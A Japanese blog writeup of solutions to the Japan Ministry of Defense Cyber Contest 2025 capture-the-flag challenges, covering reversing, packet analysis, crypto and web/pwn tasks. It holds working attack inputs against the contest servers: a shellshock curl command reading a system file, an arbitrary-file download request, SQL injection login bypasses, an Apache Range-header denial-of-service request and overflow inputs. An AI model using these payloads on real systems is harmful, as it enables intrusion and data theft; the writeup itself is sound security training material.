防衛省サイバーコンテスト2025 Writeup供養

いつからか記憶にないが例年行われている防衛省サイバーコンテスト2025に出場したのでWriteupとして供養しておく。

防衛省サイバーコンテストについては以下からどうぞ

防衛省・自衛隊:防衛省サイバーコンテストの開催について

防衛省サイバーコンテストとSECCON関連しか参加してないnoobではあるが、今年は昨年と比べて易化した印象を受けたので、まぁまぁ解け最終的には5600pts,18位で終了。プロたちののwriteupとかもあるので、私のはまぁこういう解き方もできるんだなと参考にどうぞ。

1位のst98プロのWriteup

防衛省サイバーコンテスト 2025 writeup - st98 の日記帳 - コピー

hamayanhamayanさんのWriteup

防衛省サイバーコンテスト 2025 Writeup - はまやんはまやんはまやん

PG

縮めるだけじゃダメ

100点問題、添付のExcelファイルからフラグを読み取ってください。

マクロがあるので、適当に実行して消される前の部分を見ればflag、エクセルのステップインとかを使うと楽なんじゃないかな

flag{268653}

暗算でもできるけど?

100点問題、添付のソースコードを実行した際の出力値の68番目の値と、このソースコードから推測される314番目の値を足した数を答えてください。

渡されるソースコードを適当に書き換えて実行してあげればよい。314番目は推測せずに出力させていく。

#include <stdio.h>
int main(){
        int i,j,k,l;
        int cnt = 0;
        //k=(((10/2*4/10*4/2)+97)*10)-10;
        k = 10000000;
        printf("%d\n", k);
        for(i=2;i<=k;++i){
                l=0;
                for(j=2;j<i;++j){
                        if(i%j==0){
                                l=1;
                                break;
                        }
                }
                if(l==0){
                        cnt += 1;
                        printf("cnt:%d, %d\r\n",cnt, i);
                        if(cnt == 314) break;
                }
        }
        return 0;
}

出力としてはcnt:68, 337 cnt:314, 2083となるので2420が答え

flag{2420}

form hijacking

200点問題、添付のファイルは「Card Stealer」と呼ばれるフォームからの入力値を外部へ送信するJavaScriptです。 カード情報が妥当な場合、その値は外部へ送信されるようなので追跡したいです。

難読化されたJavaScriptが渡されるが、deobfuscatorに投げ込むといい感じにカード情報を外部に送信しそうなURLが見つかるのでそこにアクセスする。

JavaScript Deobfuscator

パラメータが足りないとエラーが返ってくるので最終的には以下のようなURLへアクセスすればよい

https://pg3.2025winter-cybercontest.net/pg3?cardnumber=111&exp-date=22&cvc=11&Skimming=true

flag{f1iping_de0bfuscat0r}

loop in loop

300点問題、以下問題文

以下の要件を満たすプログラムを作成してください。 プログラムの言語は問いません。

引数として以下の値を指定できる。
第一引数:文字列
第二引数:文字列
プログラム内部で引数に以下の処理を加える。
それぞれの引数のハッシュ値を求める。ハッシュ関数にはRIPEMD160を使用する。
第一引数のハッシュ値の1文字目と第二引数のハッシュ値の1文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
続いて、第一引数のハッシュ値の1文字目と第二引数のハッシュ値の2文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
同様に、3文字目、4文字目と続け、と第二引数のハッシュ値の最後の文字まで行う。
続けて第一引数のハッシュ値の2文字目に対して第二引数のハッシュ値の1文字目から同様の処理を行う。
同様に第一引数のハッシュ値の3文字目、4文字目と続け、と第一引数のハッシュ値の最後の文字まで行う。
それぞれの値を加算する。
加算された値を10進数で出力する。
このプログラムに下記の引数を与えた時に出力される値を答えてください。

第一引数:Phoenix
第二引数:Messiah
【回答書式】 flag{n桁の半角数字}

大したことは書いてないが、こんだけ詳細に書いてあるのならchatgptになげれば答えてもらえるのではと考えて投げたら答えてくれた。答えもあってた

flag{5785}

NW

頭が肝心です

100点問題、添付したメールファイルからフラグを探してください。 フラグはこのメールが届くまでに経由した2番目のメールサーバのIPアドレスとします。

メールサーバの経路を時刻通りにたどればOK、最初flag{}を忘れててミスった。あぶない

flag{172.16.25.39}

3 Way Handshake?

200点問題、添付したのはTCPポートスキャン時のパケットログです。 オープンポートを見つけてください。 オープンしているポート番号を小さい順に「,(カンマ)」で区切って答えてください。

(tcp.flags==0x12) and not tcp.analysis.initial_rttでフィルタをかける。そうすると以下のポートがあるのでsortして終わり。

23,111,113,21,110,1025,143,514,98,70,50506,37,109,79,513

sortしてflag

flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}

さあ得点は?

200点問題、添付されたパケットファイルから攻撃を特定し、その攻撃のCVEを調べてください。 その攻撃のCVSS Version2.0のBaseScoreがフラグです。 CVSSのスコアはNISTで公開されている値とします。 https://nvd.nist.gov/

ログの中身は以下のようなリクエストとなっている。

HEAD / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HOST: 192.168.123.116
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33,5-34
(snip)

調べると徳丸さんのブログがでてくる

https://blog.tokumaru.org/2011/08/apache-killerapache-killer.html

CVE-2011-3192となるので、NISTのページでCVSS2.0の値を調べて回答

https://nvd.nist.gov/vuln/detail/cve-2011-3192

flag{7.8}

decode

300点問題、添付のパケットファイルからフラグを探してください

大量のpcapファイルが渡される、一つずつ見ていくのは面倒なのでmergepcapで合体させる。

リクエストを確認するとjpegの画像があるので、その中にflagがありそうという感じ。

オブジェクトエクスポートから見ると、一つだけサイズ感の違うファイル(5515byte)があるので、そのjsonを見てみたらflagだった。

flag{c4ptur3_cat}

WE

簡単には見せません

100点問題、https://we1-prod.2025winter-cybercontest.net/

robots.txtを見てみるとディレクトリがわかる。

blue配下がディレクトリリスティングとなっており、ソースコードにflagが書かれている。

<!DOCTYPE html>
<html lang="ja-JP">
<head>
<meta charset="utf-8" />
<title>WE-1</title> 
</head>
<body>
<h2>このページにフラグがあります</h2>
</body>
</html>
<!-- flag{TakeMeToTheFlag} -->

flag{TakeMeToTheFlag}

試練を乗り越えろ!

100点問題、下記のURLからフラグを入手してください。

何問目であるか答える問題、burpでリクエストをみると何問目であるかという問い含めて送ってるので10000に書き換えてリクエストしてあげるとflag

flag{WinThroughTheGame}

直してる最中なんです

200点問題、下記のサイトから脆弱性のあるアプリケーションを特定し、その脆弱性を利用してフラグを入手してください。フラグが記載されているファイルは下記の通りです。 /etc/WE-3

アクセスすると次のような画面

ソースコードを見てみると実装途中のものがある、download.jsを解析すればよさそう

<!-- @format -->

<!DOCTYPE html>
<html
    xmlns="http://www.w3.org/1999/xhtml"
    xml:lang="ja-JP"
    lang="ja-JP"
    prefix="og: http://ogp.me/ns#"
>
    <head>
        <meta charset="utf-8" />
        <meta name="robots" content="noindex" />
        <title>NO LIFE NO STONE</title>
        <!--<script type="text/javascript" src="secret/download.js"></script>-->
    </head>

    <body>
        <h2>そのへんの石</h2>
        ※ダウンロードの仕組みは調子悪いので(^^;
        欲しい方は画像を直接コピーしてね。<br />
        <hr />
        <img src="stone/WE-3-01.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-01')">ダウンロード</button> -->
        <img src="stone/WE-3-02.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-02')">ダウンロード</button> -->
        <img src="stone/WE-3-03.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-03')">ダウンロード</button> -->
        <img src="stone/WE-3-04.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-04')">ダウンロード</button> -->
        <img src="stone/WE-3-05.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-05')">ダウンロード</button> -->
    </body>
</html>

download.jsは以下のようになっており、POSTリクエストを送ればファイルが入手可能。

function dlFIle(file){
    var dataS = 'fName=' + file;
    var xhr = new XMLHttpRequest();
    xhr.open('POST','/secret/download.php');
    xhr.send(dataS);
    xhr.onload = function() {
        var strS = xhr.responseText;
    };
}

curl -X POST -d "fName=/etc/WE-3" https://we3-prod.2025winter-cybercontest.net/secret/download.php

$ curl -X POST -d "fName=/etc/WE-3" https://we3-prod.2025winter-cybercontest.net/secret/download.php
<snip>
flag{fGrantUB56skBTlmF14mostFP}

flag{fGrantUB56skBTlmF14mostFP}

直接聞いてみたら?

200点問題、下記のURLはAPIテストのためのフォームです。 ここからフラグを入手してください。

APIのリクエストが送れるフォームが表示される。burpでリクエストを見るとこんな感じ

POST /json.php HTTP/2
Host: we4-prod.2025winter-cybercontest.net
Cookie: PHPSESSID=iqissnh6b5gl2r1p3p98vu1bld
Content-Length: 45
Accept: */*
Origin: https://we4-prod.2025winter-cybercontest.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://we4-prod.2025winter-cybercontest.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

data=W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn1d

dataでbase64のデータを送信している。これは[{"name":"name","value":"on"}]となっており、nameの部分をflagにすればいけそうとわかる。

POST /json.php HTTP/2
Host: we4-prod.2025winter-cybercontest.net
Cookie: PHPSESSID=iqissnh6b5gl2r1p3p98vu1bld
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://we4-prod.2025winter-cybercontest.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://we4-prod.2025winter-cybercontest.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

data=W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoiZmxhZyIsInZhbHVlIjoib24ifV0=

[{"name":"name","value":"on"},{"name":"flag","value":"on"}]をbase64エンコードして渡してあげればよい

flag{ParameterHandlingError}

旗の下に必要な者だけが正しく並べばいいのです。

300点問題、問題文記録忘れ

アクセスするとflagが表示されるようなページが見れる。

idの部分のASC、DESCが選択可能。ここでidをflagSeqにすると別のソートが可能、ここでORDERBY句と表示数を制限していることを予想した。

SQLインジェクションできそうなので、コメントアウトする以下のリクエストで全表示される。

https://we5-prod.2025winter-cybercontest.net/index.php?sort=flagSeq;--

flag{6f24d2267d87b7b232ed0d6ed3ad2924}

CY

エンコード方式は一つじゃない

100点問題、以下の文字列をデコードしてFlagを答えてください。%26%23%78%35%35%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%65%3b%26%23%78%34%32%3b%26%23%78%37%64%3b%56%6d%46%79%61%57%39%31%63%30%56%75%59%32%39%6b%61%57%35%6e%63%77%3d%3d%36%36%36%63%36%31%36%37%37%62

URLエンコードなのをデコードすると次のように複数のエンコードが出てくる。

&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;VmFyaW91c0VuY29kaW5ncw==666c61677b

順番にデコードするとこのような文字順になるので逆にしてあげればflag UcanB}VariousEncodingsflag{

flag{VariousEncodingsUcanB}

File Integrity of Long Hash

100点問題、添付のZIPファイルの中から下記のファイルを探してください。 フラグはそのファイルの中に書かれています。189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf

ハッシュはSHA512っぽい、HashMyFilesで計算してflags_89.txtが答えとわかる。

flag{346D895B8FF3892191A645}

Equation of ECC

200点問題、問題文は以下

楕円曲線のパラメータは以下の通りとします。


a=56,b=58,p=127

基準点(42,67)と設定した場合、公開鍵の値が下記になる秘密鍵の最も小さい値を答えてください。

公開鍵(53,30)

これも詳細に書かれているのでchatgptに教えてくれないかなと思ったら教えてくれた

flag{16}

PeakeyEncode

300点問題、文字化けした文が送られてきました。送信者によるとこの文字化けはインターネットから探してきたロジックを使って暗号化を施したかったそうです。 暗号化した際の環境が送られてきているので復号ができないでしょうか。

なんか文字化けしてる暗号化したメッセージとコードが渡される。

require './encode.rb'
flag = File.open("flag", "r").read()
generate = PeakeyEncode.new.generate(flag)
generate = generate.gsub(">", "🚒")
generate = generate.gsub("<", "😭")
generate = generate.gsub("+", "😡")
generate = generate.gsub("-", "🙌")
generate = generate.gsub(".", "🌺")
generate = generate.gsub(",", "✍️")
generate = generate.gsub("[", "😤")
generate = generate.gsub("]", "🐈")

sjis = generate.force_encoding(Encoding::SJIS)
p sjis.encode(Encoding::UTF_8)

force_encodeingはなんじゃらほいと思ったらいい感じの記事が見つかる。

Rubyのencodeとforce_encodingの違い #Ruby - Qiita

絵文字をコーディングに気を使ってrubyを使って変換してあげると以下のようになる。replaceした後の最後の処理はbrainfuckなので適当に流してあげる。

file=File.binread("encryption")

file = file.force_encoding(Encoding::UTF_8).encode(Encoding::SJIS)
puts file
file = file.gsub("🚒",">")
file = file.gsub("😭","<")
file = file.gsub("😡","+")
file = file.gsub("🙌","-")
file = file.gsub("🌺",".")
file = file.gsub("✍",",")
file = file.gsub("😤","[")
file = file.gsub("🐈","]")
puts file
😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡🌺😡😡😡😡😡😡🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺😡😡😡😡😡😡🌺😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡🌺🙌🙌🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺😡😡😡😡😡😡🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺😡😡😡😡😡😡😡😡😡😡😡😡🌺😡😡😡🌺😡🌺😡😡😡😡😡😡😡😡🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺😡😡😡🌺😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🌺😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡🌺😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡🌺

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++.-----------.++++++.++++++++++++++++++++.--.----------.++++++.----------------------.++++++++++++.+++.+.++++++++.------------------------.+++.++++++++++++++++.-----------------.------------------------------------------------.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++++++++.

flag{you_know_bra1n}

FR

露出禁止

100点問題、添付のログファイルから脆弱性を特定し下記のサイトからフラグを手に入れてください。

ログを確認してみると一部のログでauth.phpを通過したっぽいログとなっている。その時のセッションを使えばログインできる。

192.168.100.106 - - [11/Jul/2024:09:36:24 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [11/Jul/2024:09:36:29 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:36:30 +0900] "GET /ctf/fr1/index.php?msg=2 HTTP/1.1" 200 478
192.168.100.106 - - [11/Jul/2024:09:45:54 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:46:00 +0900] "GET /mypage.php?sesid=MTc2NzIyNTU5OSw2LHVzZXI2 HTTP/1.1" 200 281

セッションのデータはbase641767225599,6,user6となっているので、そのデータを変換してアクセスしていくとflag。こんな感じのデータでよい1767225599,1,user2

flag{SessionIDsCarefully}

成功の証

200点問題、フラグは攻撃者が見つけ出した「パスワード」とします。

FTPのログイン成功のコード230でフィルタしてあげればよい。

220 (vsFTPd 3.0.3)
USER agita
331 Please specify the password.
PASS wwwww
530 Login incorrect.
USER agita
331 Please specify the password.
PASS yyyyyyyy
530 Login incorrect.
USER agita
331 Please specify the password.
PASS zyyzzyzy
230 Login successful.

flag{zyyzzyzy}

犯人はこの中にいる!

200点問題、下記のパケットログは、攻撃のフェーズにおいて特定のサーバにポートスキャンを行ったと思われていたものです。 実は、これは内部にいる攻撃者が外部IPアドレスを偽証したものです。 本当の内部にいる攻撃者のIPアドレスを見つけてください。

MACアドレスが同じものを見つけて終わり。

flag{192.168.204.137}

chemistry

300点問題、添付のプログラムは実行時に引数として数字を与えることができます。 このプラグラムで「FLAG I AM LUCKY」と表示させるための引数を答えてください。複数の引数を送る場合は、「,(カンマ)」で区切ってください。 スペースは「0」を送ってください。

プログラムをGhidraに投げると以下のurlをぶん投げているだけである。1-118まで受け付けるみたいなのでうまくFLAGになる組み合わせを探る。

https://fr4.2025winter-cybercontest.net/chemistry?flagSeed=

最終的に次の順番になる。114,47,0,53,0,95,0,71,6,19,39

flag{114,47,0,53,0,95,0,71,6,19,39}

InSecureApk

300点問題、管理者だけが使えるAndroidアプリを作成しました。 このアプリはパスワードを入れないと使うことができません。 そのパスワードがフラグとなっています。

dex2jarでdex->jarにした後jd-guiでコードを眺める。

package jp.go.cybercontest.insecureapk;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
  protected void onCreate(Bundle paramBundle) {
    super.onCreate(paramBundle);
    setContentView(R.layout.activity_main);
    ((Button)findViewById(R.id.button)).setOnClickListener(new AppListener());
  }
  
  private class AppListener implements View.OnClickListener {
    private AppListener() {}
    
    public void onClick(View param1View) {
      EditText editText = (EditText)MainActivity.this.findViewById(R.id.inputText);
      TextView textView = (TextView)MainActivity.this.findViewById(R.id.flush);
      if (param1View.getId() == R.id.button) {
        String str = editText.getText().toString();
        if (str.length() != 16) {
          textView.setText("Incorrect.");
        } else if (SecretGenerater.decode(str).equals("VUSTIq@H~]wGSBVH")) {
          textView.setText("Congratulations! you got flag.");
        } else {
          textView.setText("Incorrect.");
        } 
      } 
    }
  }
}

デコードした文字列がVUSTIq@H~]wGSBVHになるらしい

package jp.go.cybercontest.insecureapk;

public class SecretGenerater {
  static {
    System.loadLibrary("insecureapp");
  }
  
  public static native String checkNative(String paramString);
  
  public static String decode(String paramString) {
    paramString = checkNative(paramString);
    return (paramString.length() == 16) ? paramString : "";
  }
}

ライブラリのcheckNative関数を呼び出している。

Ghidraに読み込ませると0923200802022025とXORしている、XORしたらflag

flag{AppNoGuard}

PW

CVE-2014-7169他

100点問題、アクセスログから脆弱性を特定しフラグファイル内のフラグを見つけ出してください。 フラグファイルは下記の通りです。/etc/PW-1

CVE-2014-7169のshellshockの脆弱性。渡されたログにあるようにヘッダを細工して送ってあげる。送り先はログの200が帰ってきているリクエストでよい。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1" https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi
flag{>:(!shellshock!}

flag{>:(!shellshock!}

認可は認証の後

200点問題、下記のURLにアクセスし、フラグを入手してください。 Webアプリケーション脆弱性診断の観点を持つと良いみたいです。

ログインページが表示される。なぜかパスワードを2回打つ必要があるがSQLインジェクションで通過可能

' OR '1'='1' #を含めてあげるとよい。 その先のページではflag要求できるが、管理権限がないとか言われる。 POSTパラメータにadmin=0を渡しているのでadmin=1にすればよい

flag{DoNotUseParameter2Auth}

overmeow

200点問題、ファイルを用意したので、解析してもらえませんか。nc pw4-prod.2025winter-cybercontest.net 30001

ソースコードを解析するとあからさまにBOF脆弱性がある。適当にgdb-pedaとかでバッファサイズを調べてあげてうまく比較されるようにしてあげれば終わり。

└─$ nc pw4-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)meow
(,, uu)

What's the cat's say?
AAA%AAsAABAA$AAnAACAA-AAwodm
Yes, I'll give you a flag.
flag{I_will_Golondon}

flag{I_will_Golondon}

heapmeow

300点問題、問題文記録忘れ

今度はソースコードが渡されるのでそれを解析していけばよい。ヒープ領域のBOFがあるので解放した後に書き込んであげればうまくいく。なんか適当に試してたらいい感じになったので実はあんまり考えてなかったりする。

$ nc pw5-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)
(,, uu)
Dog goes woof.
Then, Cat?

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 4

1. Print Heap
2. Allocate Cat
3. Print cat->says
4. Free cat
5. Exit

Enter your choice: 2
What does the cat say?
AAA%AAsAABAA$AAnAACAA-AAmeow
Congratulations!
flag{cat_g0es_me0w}  

flag{cat_g0es_me0w}

TR

合体はロマン

100、二次元バーコードでフラグを書いておきました。

4つの分割されたQRコードが渡される。QRコードは書式があり固定されるパターンがある。このあたりはWikipediaを見ればわかる。

QRコード - Wikipedia

また白黒色のものは右下固定だが、Wikipediaを見るとアライメント部分がなく、白黒反転していることがわかる。 そんな感じのヒントをもとに合成するとこんな感じ。

flag{ThisCodeIsLevelH}

Windowsで解きましょう

200点問題、下記のファイルを実行すると「flags」というフォルダが作成され、複数のファイルが生成されます。 すべてのファイルに違うフラグが書かれています。 その中のファイルの一つには印がつけてあります。正解のフラグを探してください

batファイルの中身を見るとすぐにわかる。代替テキストを書き込んでいるだけなのでflags_25.txtがflag

@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
  type null > flags_%%n.txt
  echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
  if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)

endlocal

flag{7525252364612534937244}

排他的倫理和

300点問題、比較対象ファイルの値と各候補ファイルに記載の値のXORを計算し、有意な値を見つけてください。

>>> with open("pattern1", "rb") as f:
...     d1=f.read()
...
>>> with open("compare","rb") as f:
...     c=f.read()
...
>>> with open("pattern2", "rb") as f:
...     d2=f.read()
...
>>> with open("pattern3", "rb") as f:
...     d3=f.read()
...
>>> "".join([chr(d1[i] ^ c[i]) for i in range(len(c))])
'find1\x05\x1b?4/'
>>> "".join([chr(d2[i] ^ c[i]) for i in range(len(c))])
'ciBd*\x16z\x95SQ'
>>> "".join([chr(d3[i] ^ c[i]) for i in range(len(c))])
'flag{¬\x1dïý}'

いわれた通りXORするとなんかd3だけflagっぽい形となっている。ここで回答フォーマットがIPアドレスとなっており、試しに10進表記させてみたらプライベートIPっぽいものが見えた。

>>> [chr(d3[i] ^ c[i]) for i in range(len(c))]
['f', 'l', 'a', 'g', '{', '¬', '\x1d', 'ï', 'ý', '}']
>>> [d3[i] ^ c[i] for i in range(len(c))]
[102, 108, 97, 103, 123, 172, 29, 239, 253, 125]

回答したら正解だった。

flag{172.29.239.253}

感想

解けなかった問題はパワポのプロパティには気づいたけど社員人数100人だからTGT200までやろとか思ってスクリプトを回してたのがいけなかったみたい。なんで260まであるんや.....

問題としてはPWNとかほんと超初心者向けという感じでセキュリティに取り組み始めた人にはいいんじゃないかなと思いつつ多少のやりごたえを求めてた人には物足りないのではないかなという気はする。逆に言えばセキュリティの裾野を広げるCTFとしてはいい難易度だったので、やってみる→そこから突き詰める人を増やすという目的があったのであれば成功しそうなのではとか思ったりした。 私はといえば私生活が忙しいので適当にやりつつ楽しめたのでそれはそれでよかった。